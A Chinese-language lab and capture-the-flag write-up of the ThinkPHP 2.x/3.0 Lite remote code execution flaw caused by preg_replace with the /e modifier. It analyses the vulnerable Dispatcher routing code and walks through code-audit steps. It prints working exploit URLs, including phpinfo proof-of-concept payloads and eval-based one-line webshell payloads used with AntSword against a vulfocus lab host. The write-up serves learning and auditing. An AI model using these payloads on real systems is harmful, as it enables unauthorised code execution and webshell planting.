1.漏洞描述:
版本: ThinkPHP ThinkPHP 2.x
使用 preg_replace 的 /e 模式匹配路由:
代码语言:javascript复制$res = preg_replace('@(w )'.$depr.'([^'.$depr.'/] )@e', '$var['\1']="\2";',
implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0 版本因为 Lite 模式下没有修复该漏洞,也存在这个漏洞。所以先来看看preg_replace这个函数,这个函数是个替换函数,而且支持正则,使用方式如下:
代码语言:javascript复制preg_replace('正则规则','替换字符','目标字符')
这个函数的3个参数,结合起来的意思是:如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。下面是搜索到的关于/e的解释:
代码语言:javascript复制e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
/e 可执行模式,此为PHP专有参数,例如preg_replace函数。
PHP在线沙箱 测试一下这个preg_replace()函数,代码如下: <?php @preg_replace('/test/e','print_r("测试成功");','test');
测试发现从php4.4.9-php5.6.29都是可以执行的,但到了php7.0.1以上则不行了
2.漏洞复现
(1)打开靶场
(2)利用 POC 来验证, phpinfo() 成功执行。
代码语言:javascript复制/index.php?s=/index/index/xxx/${@phpinfo()}
(3)写下一句话:
代码语言:javascript复制/index.php?s=/index/index/xxx/${${@eval($_POST[1])}}
拼接URL:
vulfocus.fofa.so:11703/index.php?s=/index/index/xxx/${${@eval($_POST[1])}}
环境又没了,重启了一下。 (4)用蚁剑连接:
(5)连接完成后去 tmp 临时文件下去查看 Flag
找到flag
3.思路整理
从漏洞挖掘的角度,如果采用的是关键函数查找的方式,应该是先搜索preg_replace这个函数,发现使用了这个函数之后,在查看是否使用/e修饰符,然后查看是否存在可控参数,如果存在,在分析是否可以传参利用。
如果以挖漏洞的思路来看的话,应当整理思路如下:
代码语言:javascript复制1.确定php版本,如果版本在php4.4.9-php5.6.29之中
2.查找关键函数是否调用哪了preg_replace()函数
3.查看该函数所在的地方是否存在/e修饰符
4.查看是否存在可控参数,并分析是否可以传参利用
<1>存在preg_replace函数的脚本:
代码语言:javascript复制./ThinkPHP/Mode/Lite/ThinkTemplateCompiler.class.php
./ThinkPHP/Mode/Lite/Dispatcher.class.php
./ThinkPHP/Lib/Think/Template/ThinkTemplate.class.php
./ThinkPHP/Lib/Think/Template/TagLib.class.php
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php
./ThinkPHP/Common/extend.php
./ThinkPHP/Common/functions.php
<2>存在/e修饰符的脚本:(这里只贴出来两个例子)
代码语言:javascript复制 ./ThinkPHP/Mode/Lite/Dispatcher.class.php:115:
$res = preg_replace('@(w )'.C('URL_PATHINFO_DEPR').'([^,/] )@e',
'$pathInfo['\1']="\2";', $_SERVER['PATH_INFO']);
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:57:
$rule = preg_replace('/{$(_w ).(w )|(w )}/e',"\3($\1['\2'])",$rule);
<3>根据漏洞描述,有漏洞的代码位置在:
代码语言:javascript复制./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102:
$res = preg_replace('@(w )'.$depr.'([^'.$depr.'/] )@e', '$var['\1']="\2";',
implode($depr,$paths));
根据代码注释,了解到这个是 thinkphp 内置的Dispacher类,用来完成URL解析、路由和调度。所以有必要了解一下thinkphp的关于这块功能的使用。
thinkphp也是MVC框架,所有的请求都是根据路由来决定的。而Dispatcher.class.php就是规定如何来解析路由的这样一个类。
代码语言:javascript复制类名为`Dispatcher`,class Dispatcher extends Think
里面的方法有:
static public function dispatch() URL映射到控制器
public static function getPathInfo() 获得服务器的PATH_INFO信息
static public function routerCheck() 路由检测
static private function parseUrl($route)
static private function getModule($var) 获得实际的模块名称
static private function getGroup($var) 获得实际的分组名称
有漏洞的代码位置在static public function dispatch(),叫URL映射控制器,也就是URL访问的路径是映射到哪个控制器下。
代码语言:javascript复制if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);
// 解析剩余的URL参数
$res = preg_replace('@(w )'.$depr.'([^'.$depr.'/] )@e', '$var['\1']="\2";',
implode($depr,$paths));
$_GET = array_merge($var,$_GET);
数组var在路径存在模块和动作时,会去除掉前2个值。而数组var来自于explode(depr,trim(_SERVER['PATH_INFO'],'/'));也就是路径。
构造poc如下:
代码语言:javascript复制/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}
一句话payload:
代码语言:javascript复制/index.php?s=a/b/c/${@print(eval($_POST[1]))}